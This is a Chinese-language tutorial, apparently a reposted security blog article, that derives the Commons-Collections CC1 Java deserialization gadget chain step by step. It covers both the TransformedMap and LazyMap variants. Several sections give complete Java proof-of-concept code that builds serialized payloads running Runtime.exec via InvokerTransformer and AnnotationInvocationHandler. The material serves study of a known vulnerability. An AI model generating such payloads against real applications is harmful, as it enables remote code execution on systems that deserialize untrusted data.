Java反序列化之 CC1 链从0到1

admin 2024年10月17日23:25:12评论16 views字数 20626阅读68分45秒阅读模式

声明:本篇文章作者YDJA,本文属i春秋原创奖励计划,未经许可禁止转载。https://bbs.ichunqiu.com/thread-63612-1-1.html

0x00 前言

承接上文的 URLDNS 链,这次我们来分析能够命令执行的CC1链,涉及到的知识点更多,

分析起来也更复杂些。

0x01 前置知识

1.1 Commons-Collections

Commons-Collections 是一个强大而灵活的工具库,它提供了许多可用于处理集合数据的实用功能。通过使用 Commons-Collections,开发人员可以更高效地编写代码,减少重复的工作,并提高程序的性能和可读性。

1.2 Java 动态代理

Java 动态代理是一种在运行时动态生成代理类的机制,可以用于处理某些通用的横切关注点,如性能监控、事务管理、安全检查等。通过使用动态代理,我们可以在不修改原有代码的基础上扩展或增强程序的功能。

Java 动态代理的实现依赖于两个重要的 API:

  • InvocationHandler 接口:它定义了一个单一的方法 invoke(),用于处理代理对象上的方法调用。在使用Java动态代理时,我们需要创建一个实现了 InvocationHandler 接口的类,并在其中实现invoke()方法。

  • Proxy 类:它提供了一个静态方法 newProxyInstance(),用于创建一个代理对象。该方法需要传入一个类加载器、一组接口和一个 InvocationHandler 对象,然后返回一个代理对象。

Java 动态代理基于接口代理的机制,所以被代理的对象必须至少实现一个接口。在调用代理对象的方法时,实际上会自动触发代理对象上重写的 invoke() 方法,由其负责调用被代理对象上的对应方法。

示例代码:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class DynamicProxy {
    public static void main(String[] args) {
        // 创建目标对象
        MyInterface target = new MyInterfaceImpl();

        // 创建动态代理对象
        MyInvocationHandler handler = new MyInvocationHandler(target);
        MyInterface proxy = (MyInterface) Proxy.newProxyInstance(
                target.getClass().getClassLoader(),
                target.getClass().getInterfaces(),
                handler);

        // 调用代理对象的方法
        proxy.myMethod();
    }
}

interface MyInterface {
    void myMethod();
}

class MyInterfaceImpl implements MyInterface {
    @Override
    public void myMethod() {
        System.out.println("myMethod is called");
    }
}

class MyInvocationHandler implements InvocationHandler {
    private final Object target;

    public MyInvocationHandler(Object target) {
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Before invoking " + method.getName());
        Object result = method.invoke(target, args);
        System.out.println("After invoking " + method.getName());
        return result;
    }
}

在上述示例中,我们首先创建了一个目标对象 target,然后使用其实现类 MyInterfaceImpl 创建了一个 MyInvocationHandler 对象。

该对象实现了 InvocationHandler 接口,并覆盖了其中的 invoke() 方法,在方法调用前后分别输出了日志。

接下来,我们使用 Proxy.newProxyInstance() 方法创建了一个代理对象 proxy,并将 target 对象和 handler 对象传入其中。

最后,我们通过 proxy 对象来调用 myMethod() 方法,此时会触发代理对象上的 invoke() 方法,从而在控制台中输出相应的日志信息。

需要注意的是,动态代理只能代理接口,而无法代理类

0x02 环境搭建

2.1 jdk版本:jdk1.8u65

选择该版本的原因是 jdk8u71 之后

就有漏洞修复了,

其他版本的也可能会出现无法执行命令的问题

2.2 依赖:Commons-Collections3.1

3.1-3.2.1 都可以

2.3 详细步骤

新建一个 maven 项目,

选择提前装好的 jdk1.8u65。

Java反序列化之 CC1 链从0到1

在 pom.xml 中添加 Commons-Collections3.1 依赖。(可以去 Maven 仓库下)

Java反序列化之 CC1 链从0到1

代码添加后还要重新加载一下才能导入依赖。

Java反序列化之 CC1 链从0到1

除此之外,jdk 的自带包中许多文件是 .class 文件,

在 IDEA 分析利用链的时候看到的这些文件都是 IDEA 反编译出来的,代码还原度不高,

为了方便调试,

我们需要去把这一部分的源码补上。

在该网站(https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4)将对应版本的 zip 源码下载下来。

Java反序列化之 CC1 链从0到1将 jdk-af660750b2f4srcshareclasses 目录下的 sun 文件夹复制下来,然后去我们的 jdk 目录下,将src.zip解压,把刚刚复制的sun文件夹放进去。

Java反序列化之 CC1 链从0到1

最后回到 IDEA,

在项目结构的 SDK 处将该目录补上,

再点应用就完成了。

Java反序列化之 CC1 链从0到1有 poc 在手的可以先测试一下。

Java反序列化之 CC1 链从0到1搭建完成

0x03 漏洞成因

3.1 InvokerTransformer 类

在 Commons-Collections 中有一个 Transformer 接口,里面声明了一个 transform 方法,该方法接收一个对象。

Java反序列化之 CC1 链从0到1漏洞利用点出现在 Commons-Collections 中

InvokerTransformer 类,

该类继承了 Transformer 接口并且重写了 transform 方法,该方法通过反射

(反射的基础知识在 DNSURL 链已经提过,师傅们可以自行了解)调用指定方法,

并且该指定方法和其参数等在该类的构造方法中被赋值,是我们可控的。Java反序列化之 CC1 链从0到1

Java反序列化之 CC1 链从0到1结合反射,我们可以构造出一个简单的命令执行。

import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;

public class CC1TransformedMap implements Serializable {
    public static void main(String[] args) throws Exception{

        InvokerTransformer rce = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"});

        rce.transform(Runtime.getRuntime());

    }
}

相当于执行了常见的 Runtime.getRuntime().exec("calc");

Java反序列化之 CC1 链从0到1在后续的利用链分析过程中,我们将基于此漏洞点一步一步串起整个链条。

0x04 利用链分析

CC1 链实际上有两条,大部分地方都相同,根据其不同点所在的地方分别称之为 TransformedMap 链和 LazyMap 链。

4.1 TransformedMap 链

ChainedTransformer 类

在知道了 InvokerTransformer 类存在漏洞利用点之后,首先我们需要找到其他类中能够调用 transform 方法的地方。

因为反序列化并不能直接触发 InvokerTransformer 类,
我们知道 transform 方法声明于 Transformer 接口,
如果找到一个类能够直接或者间接被 readObject 方法触发,而该类继承了 Transformer 接口重写了 transform 方法且调用此 transform 方法的对象是我们可控的,所以我们将其链接到 InvokerTransformer 对象就可以触发漏洞了,接下来我们利用链的构造都是基于这个思路。

Java反序列化之 CC1 链从0到1

有挺多地方的,这里我们就不逐一分析,直接定位到可以利用的 ChainedTransformer 类,查看它重写的 transform 方法。

Java反序列化之 CC1 链从0到1这段代码接受一个对象作为输入,循环遍历 iTransformers 数组,然后调用数组成员 transform 方法对输入对象进行转换,

并将转换后的结果赋值给 object 变量。

继续循环,使用下一个转换器对 object 进行转换,直到遍历完所有转换器。

返回最终转换后的对象。

我们接着定位到 iTransformers 的赋值位置。

Java反序列化之 CC1 链从0到1可以发现其位于 ChainedTransformer 类的构造函数中,并且 iTransformers 数组的值是一个可以自定义的 Transformer 数组,所以我们将该数组的值设置为 InvokerTransformer 对象,再调用 ChainedTransformer 对象的tansform 方法并传入 Runtime.getRuntime() 就能命令执行。

import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1TransformedMap implements Serializable {
    public static void main(String[] args) throws Exception{

        InvokerTransformer invokertransformer = new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"});

        Transformer[] transformers = new Transformer[]{invokertransformer};

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        chainedtransformer.transform(Runtime.getRuntime());

    }
}

Java反序列化之 CC1 链从0到1但是这里存在一个问题,我们都知道 Runtime 类没有继承 Serializable 接口,不支持序列化的操作,但是 Runtime.class 是支持的。

Java反序列化之 CC1 链从0到1

所以我们需要通过 Runtime.class 获取一个能够支持序列化操作的 Runtime 实例,而 Runtime 类中的 getRuntime 方法就是获取一个 Runtime 实例。

Java反序列化之 CC1 链从0到1

所以我们只需要结合上一篇文章讲到的反射知识就能成功执行命令。


Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime getRuntime = (Runtime) getRuntimeMethod.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(getRuntime, "calc");

Java反序列化之 CC1 链从0到1

实际上就是一个反复利用反射和 invoke 方法

调用函数的过程,

而我们前面提到的 InvokerTransformer 类的 transform 方法

正好能完成这个过程。

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new
Class[]{String.class, Class[].class},new String[]{"getRuntime", null}).transform(Runtime.class);
Runtime getRuntime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new 
Object[]{"calc"}).transform(getRuntime);

Java反序列化之 CC1 链从0到1

而这个操作正好就是一个循环调用 InvokerTransformer 类的 transform 方法的过程,这时我们就会想到 ChainedTransformer 类的 transform 方法,

不正好就是实现了这样一个过程吗,所以我们直接移植过去。

import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1TransformedMap implements Serializable {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new String[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        chainedtransformer.transform(Runtime.class);

    }
}

Java反序列化之 CC1 链从0到1

然后我们试一下序列化和反序列化操作。

import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1TransformedMap implements Serializable {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new String[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        serialize(chainedtransformer);
        System.out.println(unserialize("payload.ser"));

        chainedtransformer.transform(Runtime.class);

    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Java反序列化之 CC1 链从0到1

成功弹窗,不过可惜的是,在反序列化之后,还是要执行一次 transform 函数,

所以我们还是要按照前面的思路,

寻找能够在反序列化时自动触发 transform 函数的操作。

TransformedMap 类

我们在查找 transform 方法的用例时发现了 TransformedMap 类中有好几个方法的返回结果中都调用了 transform 方法,我们重点关注一下。

Java反序列化之 CC1 链从0到1

跟进 TransformedMap 类,我们就不逐个分析了,

直接定位到关键的 checkSetValue 方法。

Java反序列化之 CC1 链从0到1

接收一个对象并且传入 valueTransformer 常量的 transform 方法,

跟进 valueTransformer 常量。

Java反序列化之 CC1 链从0到1

可以看到,该常量在类的构造方法中被赋值,而该类是用 protected 修饰的,只能内部调用,所以我们找一下该类中有哪些调用了此构造方法的地方,然后找到了 decorate 方法,它返回一个TransformedMap 类的实例化,从而调用构造方法。

Java反序列化之 CC1 链从0到1

解决了这个问题,接下来就是要找到能够调用 checkSetValue 方法的地方。

Java反序列化之 CC1 链从0到1

只有 

AbstractInputCheckedMapDecorator 类调用了,

而 TransformedMap 类继承了该类,

所以我们不需要实例化它。

Java反序列化之 CC1 链从0到1

接着来看 

AbstractInputCheckedMapDecorator 类中

调用了 checkSetValue 方法的 setValue 方法。

Java反序列化之 CC1 链从0到1

结合该方法的所在的 MapEntry 类分析,该方法是被重写过的,用于设置键值对中的值,而调用 checkSetValue 方法的 parent 常量在 MapEntry 类的构造函数中被赋值,所以我们继续之前的思路,找到其他能调用 setValue 的类。

AnnotationInvocationHandler 类

而在寻找的过程我们发现了 AnnotationInvocationHandler 类的 readObject 方法里竟然调用了这个方法。

Java反序列化之 CC1 链从0到1

这不就是我们构造利用链的最终目的吗,

赶紧跟进看一下。

Java反序列化之 CC1 链从0到1

该readObject方法在执行反序列化操作之后,遍历了一个键值对集合 memberValues,其中键表示注解成员变量的名称,值表示注解成员变量的值。

同时,使用 memberTypes 集合查找名称为 name 的成员变量对应的类型。

如果该成员变量存在,那么获取它的值,并检查值是否属于该成员变量的类型或者是否是 ExceptionProxy 类型的实例。

如果都不是,那么将该值转换为 AnnotationTypeMismatchExceptionProxy 类型,并设置该类型的 member 属性为该注解类型对应的成员变量中名称为 name 的成员变量,在最后调用 memberValue.setValue() 方法来设置该注解成员变量的值。

而键值对集合 memberValues 则是 Map.Entry 对象,在 MapEntry 类中的 setValue() 方法实际上是调用了被包装的原始 Map.Entry 对象的 setValue() 方法,以实现对键值对中值的修改操作。

所以我们可以利用 TransformedMap 类的 decorate 方法修饰一个 put 了键值的 hashMap 对象,然后将修饰过的 Map 对象进行遍历,就能调用 setValue 方法,而且前面提到 decorate 方法接收的第三个参数正是最终会调用 transform 方法的 valueTransformer 常量,所以我们需要在该位置传入我们的 ChainedTransformer 对象,然后 setValue 传入 Runtime.class 就能达到 chainedtransformer.transform(Runtime.class); 的效果,

我们不妨先来试一下。

import java.io.*;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

public class CC1TransformedMap implements Serializable {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new String[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashedMap hashedMap = new HashedMap();
        hashedMap.put("a","1");

        Map<Object,Object decorate = TransformedMap.decorate(hashedMap,null,chainedtransformer);
        for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(Runtime.class);
        }

        serialize(decorate);
        System.out.println(unserialize("payload.ser"));

    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Java反序列化之 CC1 链从0到1

不过这里的 Map 遍历操作是我们自己加的,

我们需要找到能够实现这个操作的地方,

而前面说到的

AnnotationInvocationHandler 类的

readObject 方法里

正好就有这么一个操作,

我们回看 AnnotationInvocationHandler 类,

发现其并非是 public 类,需要通过反射调用。

除此之外,在 readObject 方法里遍历操作中我们还需要绕过两个 if 语句才能成功执行 setValue 方法。

Java反序列化之 CC1 链从0到1

经过前面的分析

我们知道 String name = memberValue.getKey(); 

Class<?memberType = memberTypes.get(name); 

的作用是获取键值对的键名然后获取注解中成员变量并且检查键值对中键名是否有对应的名称,并且注解可以通过 AnnotationInvocationHandler 的实例化对象传入,所以我们找到了 Target 注解里面有一个名为 value 的成员变量。

Java反序列化之 CC1 链从0到1

所以我们可以传入这个注解,且让我们的键值对的键名为 value 就可以了。

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

public class CC1TransformedMap implements Serializable {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new String[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashedMap hashedMap = new HashedMap();
        hashedMap.put("value","1");    //绕过if

        Map<Object,Object decorate = TransformedMap.decorate(hashedMap,null,chainedtransformer);

        //反射调用
        Class<? Clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<? declaredConstructor = Clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class,decorate);

        serialize(o);
        System.out.println(unserialize("payload.ser"));

    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

调试发现,readObject 方法可以正常调用了,两个 if 也都可以通过了。

Java反序列化之 CC1 链从0到1

Java反序列化之 CC1 链从0到1

Java反序列化之 CC1 链从0到1

然而,弹窗失败,

我们再次断点调试,

这才发现 setValue 已经不是我们想要传入的 Runtime.class 了。

Java反序列化之 CC1 链从0到1

那我们该如何传入 Runtime.class 呢?

ConstantTransformer 类

这时就不得不提起另一个继承了

Transformer 接口的 ConstantTransformer 类了,

我们重点关注它的构造方法和重写的 transform 方法。

Java反序列化之 CC1 链从0到1

可以看到,该构造函数接收一个对象,并且把它赋值给 iConstant 常量。而 transform 函数则比较有意思,接收一个对象,但是返回值却是 iConstant 常量,所以这时我们就可以将它加入到 Transformer 数组中并且传入 Runtime.class。

Java反序列化之 CC1 链从0到1

这样一来,不管传入setValue的对象是什么,

带入 ChainedTransformer 实例的执行完

第一个 transform 循环后

返回给第二个循环的永远都是我们设置的 Runtime.class,

最终完成链条的完美闭环。

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;

public class CC1TransformedMap implements Serializable {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new String[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashedMap hashedMap = new HashedMap();
        hashedMap.put("value","1");

        Map<Object,Object decorate = TransformedMap.decorate(hashedMap,null,chainedtransformer);

        Class<? Clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<? declaredConstructor = Clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class,decorate);

        serialize(o);
        System.out.println(unserialize("payload.ser"));

    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Java反序列化之 CC1 链从0到1

最后再附上详细的利用链:

ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
         TransformedMap.decorate()
                Map(Proxy).entrySet()
                MapEntry.setValue()
                    TransformedMap.checkSetValue()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

4.2 LazyMap 链

在 ysoserial 中 CC1 的 payload 使用的正是 LazyMap 链,根据作者给出的利用链我们可以发现和上面的 TransformedMap 链的不同之处就是在 TransformedMap 处。

Java反序列化之 CC1 链从0到1

LazyMap 类

我们直接进去 LazyMap 类看一下。

Java反序列化之 CC1 链从0到1

可以看到该类是在 get 方法中调用了 transform 方法,而在 AnnotationInvocationHandler 类的 invoke 方法中

正好也是 memberValues 调用了 get 方法。

Java反序列化之 CC1 链从0到1

到这里之后就和 TransformedMap 链差不多了,根据前面动态代理的知识,我们知道 invoke 方法是 java.lang.reflect.InvocationHandler 接口中的一个方法,还需要一个动态代理才能调用。前面也说过,动态代理只能代理接口,而无法代理类,而我们的 LazyMap 正好是继承于 Map 接口,所以我们直接创建一个创建一个 Map 代理对象,此类的 decorate 方法只需要接收两个参数,而且也不需要 hashedMap.put("value","1"); 这个操作了。

所以我们根据分析结果修改一下我们 TransformedMap 链的代码。

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

public class CC1LazyMap implements Serializable {
    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new String[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}),
        };

        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashedMap hashedMap = new HashedMap();

        Map<Object,Object decorate = LazyMap.decorate(hashedMap,chainedtransformer);

        Class<? Clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<? declaredConstructor = Clazz.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o1 = declaredConstructor.newInstance(Target.class,decorate);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) o1);
        Object o2= declaredConstructor.newInstance(Target.class,mapProxy);

        serialize(o2);
        System.out.println(unserialize("payload.ser"));

    }

    //序列化
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
        oos.writeObject(obj);
    }

    //反序列化
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Java反序列化之 CC1 链从0到1

成功弹计算器。

对比发现,

TransformedMap链需要设定hashMap键值对的特定值,

而LazyMap在后面需要用到动态代理的知识。

0x05 总结

断断续续分析了好几天才完成了这篇文章,由于对 Java 代码的不熟悉导致分析起来遇到了许多大大小小的问题,而且经常分析到一半就忘记了前面的步骤,到底还是基础不牢地动山摇,继续沉淀吧。

0x06 结尾

Java反序列化之 CC1 链从0到1

原文始发于微信公众号(赛搏思安全实验室):Java反序列化之 CC1 链从0到1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月17日23:25:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java反序列化之 CC1 链从0到1https://cn-sec.com/archives/3278746.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息